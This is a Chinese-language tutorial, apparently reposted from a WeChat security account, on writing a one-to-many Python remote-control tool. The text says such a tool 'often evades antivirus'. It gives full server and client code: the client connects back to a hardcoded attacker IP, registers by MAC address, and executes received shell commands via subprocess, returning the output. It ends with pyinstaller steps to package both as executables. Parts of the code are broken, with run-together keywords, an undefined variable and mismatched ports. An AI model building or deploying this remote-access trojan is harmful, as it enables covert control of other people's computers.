自写远程控制 往往可以免杀过杀软
Python中的socket模块和threading模块合用可以实现多客户端连接 且服务端可以选择任意一个客户端实行远程控制。
(但在实际情况中python的多线程它是按照线程启动的顺序 一一执行的 那么我们如何才能实现服务端可以去选择客户端执行控制呢?)
实现原理
编写Socket
socket模块
服务端
import socket
socket.setdefaulttimeout(3) # 3秒超时s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #创建socket对象第一个参数表示使用IPv4家族第二个参数表示使用TCP连接
s.bind(('0.0.0.0',port))#0.0.0.0 表示任意一个网卡port是绑定的端口
s.listen()#开启监听等待客户端连接
c,addr = coon.accept() #accpet()返回客户端的socketc变量接收socketaddr变量接收客户端IP
客户端
importsocket
s= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((serverip, port)) #连接服务端
s.sendall(b’Hello’)#sendall() 向服务端发送二进制数据
s.close()#关闭连接
创建多线程实现多客户端连接
socket 模块本身是不能一对多的。
可以选择在服务端中用socketserver模块 来实现一对多(食用方法自行百度)
我选择用threading模块与socket模块结合使用
import socket
import threading
socket.setdefaulttimeout(3)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(('0.0.0.0',port))
s.listen()
while1:
c, addr = coon.accept()
threading.Thread(target=func,args=(c,addr)).start()#创建一个线程调用自定义func函数传入 c,addr参数并启动
了解了基本用法后我们将这些步骤封装成函数
服务端完整代码如下:
import time
import socket
import threading
timeout_num=0 #判断是否超时的变量
maclist=[] #存放客户端mac地址的列表
func_dict = { #存放服务端控制客户端 对应功能的字典
'1': shell
}
def get_maclist(c,addr): #保存客户端的mac地址
print('主机:',addr,"connected.") #打印客户端信息
datac = c.recv(1024) #接收客户端发来的数据
global maclist #全局变量
maclist.append(datac.decode()) #将客户端mac地址保存在maclist列表中
def choose_client(c,data): #指定客户端实行操作
global maclist
global func_dict
numif=0
def ifnum(): #判断输入的客户端编号是否正确 且向客户端发送mac地址
nonlocal numif
nonlocal data
try:
c.sendall(maclist[int(data)].encode()) #发送maclist列表中的选择编号(从0开始)对应的mac地址
numif=1
return
except:
print('The num is error.')
data=input("Please input client's num>>>")
numif =0
while numif==0: #判断mac地址是否发送成功
ifnum()
datac=c.recv(1024)#接收客户端发来的数据 1
num=int(datac.decode()) #将datac二进制转为十进制
if num ==1 : #判断是否为数据 1
while 1:
try:
choose_funcnum=input('Please input func num(quit=q/Q)>>>')#输入功能编号
if choose_funcnum=='q' or choose_funcnum=='Q':#如果输入q/Q则退出
try:
c.sendall(choose_funcnum.encode())#发送退出数据
except:break#发送错误 则退出
break
c.sendall(choose_funcnum.encode())#发送功能编号
func_dict[choose_funcnum](c=c,num=int(choose_funcnum))#从功能字典中执行服务端功能编号对应的功能函数
except:
print('The num is error.')#提示输入有误
c.close()
def thread(coon,data): #创建线程函数
global timeout_num #使用全局变量
try:
c, addr = coon.accept()
except:return 0#如果连接失败 放回0
if data != 'None':
timeout_num=1
threading.Thread(target=choose_client,args=(c,data)).start()#调用选择客户端函数 第二次连接
else:
timeout_num=1 #连接成功将超时变量设为1
threading.Thread(target=get_maclist,args=(c,addr)).start() #调用存入客户端mac地址的自定义函数
return 1 #执行成功返回1
def scoket_listen(port,data): #监听函数
socket.setdefaulttimeout(3) # 3秒超时
s= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(('0.0.0.0',port)) #0.0.0.0 表示任意一个网卡
s.listen()
while 1:
time_out_data=thread(s,data)#执行创建线程函数 获取返回值
if time_out_data ==0:#如果连接失败则 break循环
break
s.close()
def time_out(): #判断是否连接超时
global timeout_num
if timeout_num == 0:
print('The connect timed outn')#如果连接超时则提示 后继续运行主函数
main()
def main(): #主函数
print('监听上线主机中...')
scoket_listen(99, data='None') #第一次与客户端连接
time_out() #判断是否超时
time.sleep(2)#睡眠2秒钟
global timeout_num
timeout_num=0
choose_client_num = input("Please input client's num>>>")
scoket_listen(98, data=choose_client_num) #第二次与客户端连接
time_out()
main()
客户端完整代码如下:
import uuid
serverip ='192.168.3.12' #服务端IP
func_dict = {#功能字典
'1': shell
}
def get_mac(): #获取本机mac地址
mac = uuid.UUID(int=uuid.getnode()).hex[-12:]
mac = mac.replace(':','')
return mac
def loop_send(data,port): #第一次与服务端连接
global serverip
while 1:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((serverip, port))#连接服务端
s.sendall(data.encode())#发送mac地址
s.close()
break
except:
s.close()
continue
def loop_get(mac,port): #第二次与服务端连接
global func_dict
global serverip
num=0#变量 表示循环10次
while num<10:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((serverip, port))
mac_client=s.recv(1024).decode()#获取服务端发来的mac地址
if mac == mac_client:#判断是否与自己的mac地址一样
s.sendall('1'.encode())#一样则向服务端发送 数据1
while 1:
try:
func_dict_num=s.recv(1024).decode()#接收服务端发来的功能编号
except ConnectionResetError as e: #如果错误则打印错误 并退出重新等待服务端连接
print(e)
break
if func_dict_num == 'q' or func_dict_num =='Q': #接受服务端发来的数据 如果是q/Q 则退出 重新等待服务端连接
break
print('The func num is:',func_dict_num)
try:
func_dict[func_dict_num](s)#执行功能编号的对应的功能
break
except:
print('The num is error.')
else:
s.sendall('0'.encode())#如果服务端发来的mac地址与自己不一样则向服务端发送数据0 并退出 重新等待服务端连接
s.close()
break
except ConnectionRefusedError:
num +=1
print('countdown:',num,'seconds')
s.close()
continue
while 1: #循环连接服务端
mac=get_mac()
loop_send(data=mac,port=9999)
print('continue')
loop_get(mac=mac,port=9998)
print('n')
自定义功能菜单
在上述服务端和客户端代码中 我们定义了一个 func_dict的字典用来存放 功能编号和功能函数
编写一个远程执行shell的功能
在功能字典中添加功能编号和对应的功能函数(服务端和客户端都需要)
func_dict = {
'1': shell
}
使用subprocess模块实现shell命令执行
服务端代码
def shell(c,num):
while 1:
if num == 1:#判断功能编号是否为1
choose_funclist=input('cmd/shell>>>')#输入shell命令
if choose_funclist =='q' orchoose_funclist == 'Q':#如果输入q/Q则退回选择功能编号菜单
c.sendall(b'quit')#向服务端发送退出数据
return
if not choose_funclist: #如果输入的shell命令为空则继续
continue
c.sendall(choose_funclist.encode()) #发送shell命令
datac=c.recv(2048)#接收客户端发来的shell命令执行后的回显数据
if datac == '':#如果为空则换行
print('n')
print(datac.decode(encoding='gb2312'))#打印数据
客户端代码
import subprocess
def shell(s):
while 1:
try:
command=s.recv(1024).decode() #接收shell命令 错误则退出
except ConnectionResetError as e:
print(e)
break
if command == 'quit':return #如果为退出数据 则退出
p=subprocess.Popen(command.rstrip(),shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)#执行shell命令
data =p.communicate()[0].decode(encoding='gb2312')#获取命令执行后的回显
if data == '':#如果为空则发送 换行数据
s.sendall('n'.encode(encoding='gb2312'))
else:
s.sendall(data.encode(encoding='gb2312')) #发送命令执行后的回显数据
大家可以自行写添加自己想要的功能
将服务端和客户端打包为exe文件
pyinstaller -FSocketServer.py --exclude-module _bootlocale
pyinstaller -FSocketClient.py --exclude-module _bootlocale
结语
关注公众号
公众号长期更新安全类文章,关注公众号,以便下次轻松查阅
原文始发于微信公众号(moonsec):过杀软-帅小伙用Python写渗透利器(一对多远程控制)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论